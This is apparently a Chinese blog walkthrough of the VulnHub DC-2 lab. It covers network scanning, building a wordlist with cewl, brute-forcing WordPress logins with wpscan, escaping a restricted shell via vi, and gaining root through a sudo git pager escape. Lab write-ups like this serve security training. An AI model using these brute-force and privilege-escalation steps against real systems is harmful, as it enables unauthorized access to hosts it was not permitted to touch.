LOADING

加载过慢请开启缓存 浏览器默认开启

DC-2靶场

2024/11/6 靶场 DC

DC-2靶场

DC-2靶场


环境搭建

准备工作

  1. kali虚拟机

  2. DC-2靶场机

    下载地址:https://www.vulnhub.com/entry/dc-2,311/
    

image-20241103191925056

安装过程

  1. 解压下载好的文件

    image-20241103191950866

  2. 使用VM打开

    image-20241103192040498

  3. 导入虚拟机

    image-20241103192126711

  4. 开启,显示下述的内容即开启成功

    image-20241103192327686

  5. 将kali的网络链接模式改为桥接模式

image-20241103192739929

一、信息收集阶段

1、探测目标主机IP地址

​ 打开kali,进入root模式,输入:

arp-scan -l

image-20241103193138237

​ 查看一下我们DC-2靶场的IP地址

image-20241103193349049

image-20241103193527317

​ 确定了DC主机IP地址是:

192.168.1.249

2、全面检测目标IP

​ 输入命令:

nmap -A -p- 192.168.1.249

​ 得到:

image-20241103193844673

​ 发现端口80是对外开放的

image-20241103194026970

​ 以及运行在7744端口的ssh服务

image-20241103194113912

​ 发现80端口不能正常访问,访问情况下直接跳转到了:

http://dc-2/

​ 直接在kali的hoat文件中进行修改,把域名绑定成靶机的地址:

192.168.1.249

image-20241103195620188

​ 访问之后

image-20241103202133150

​ 直接CMS识别一下,使用工具:CMSEEK

image-20241103203021791

​ 查看结果,直接探测出来了三个用户名

image-20241103203458676

3、页面探测

​ 返回到主页面查看一下是否有其他信息,有个flag的选项,查看一下。发现提示

image-20241103204419582

Flag 1:
Your usual wordlists probably won't work, so instead, maybe you justneed to be cewl.
您通常的单词表可能不起作用,因此,也许您只需要成为cewl。
More passwords is always better, but sometimes you just can't winthem all.
更多的密码总是更好,但有时你无法赢得所有密码。
Log in as one to see the next flag.
以一个身份登录以查看下一个标志。
If you can't find it, log in as another
如果找不到,请以另一个身份登录。

​ 提示使用使用工具cewl

image-20241103205119814

4.目录扫描

dirsearch -u http://dc-2/ -e * -x 403 404

查看扫描结果,见名知意,找到一个登录页面

image-20241103205513641

存在该页面

image-20241103205637479

结合上面所得,大致要做的步骤如下:

1.结合所得用户名,使用工具cewl生成字典
2.登录该页面,获取flag2

二、渗透测试

1.生成字典

cewl http://dc-2/ > 1.txt

image-20241103210721630

2.爆破账号密码

wpscan --url http://dc-2 --passwords 1.txt

image-20241103211034303

image-20241103211116401

​ 两组都尝试一下

image-20241103211218333

image-20241103211316726

​ 使用jerry账号找到flag2

image-20241103211453010

image-20241103211524260

Flag 2:
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.

标记 2:
如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个入口点。

三、主机端渗透

1.ssh登录

​ 不能直接拿到shell,那就试一试ssh。

​ 最一开始拿到的端口除了80还有一个7744,这个是ssh的,80没有东西了,试一试7744.

image-20241103212135060

​ 发现jerry这个账号密码无法识别,那就试一下tom的账号

image-20241103212255336

​ 成功进入,先看一下权限image-20241103212333848

​ 是一个低权限用户

1.rbash逃逸

​ 低权限,有rbash限制,那就rbash逃逸(Linux提权的一种)

image-20241103212702367

2.使用vi设置shell

vi

:set shell=/bin/bash

:shell

image-20241103212904412

​ cat尝试一下,发现vi编辑器成功。

image-20241103213041615

​ 添加路径

export PATH=$PATH:/usr/bin/
export PATH=$PATH:/bin/

image-20241103213235743

​ 我们的目的——拿到flag3

image-20241103213326609

Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

3.切换用户

su jerry

image-20241103213555239

​ 找flag

find / -name *flag*

image-20241103213635579

image-20241103213721651

cat /home/jerry/flag4.txt

image-20241103213739298

Good to see that you've made it this far - but you're not home yet. 

You still need to get the final flag (the only flag that really counts!!!).  

No hints here - you're on your own now.  :-)

Go on - git outta here!!!!

4.git提权

​ 提示是git,那就尝试一下

sudo -l

image-20241103213858766

​ 提权姿势

sudo git help config

!/bin/bash

image-20241103213939833

​ 提权成功

image-20241103214029745

5.找目标

find / -name *flag*

image-20241103214128187

​ 打开看一下

cat /root/final*

image-20241103214149250

​ 拿到flag!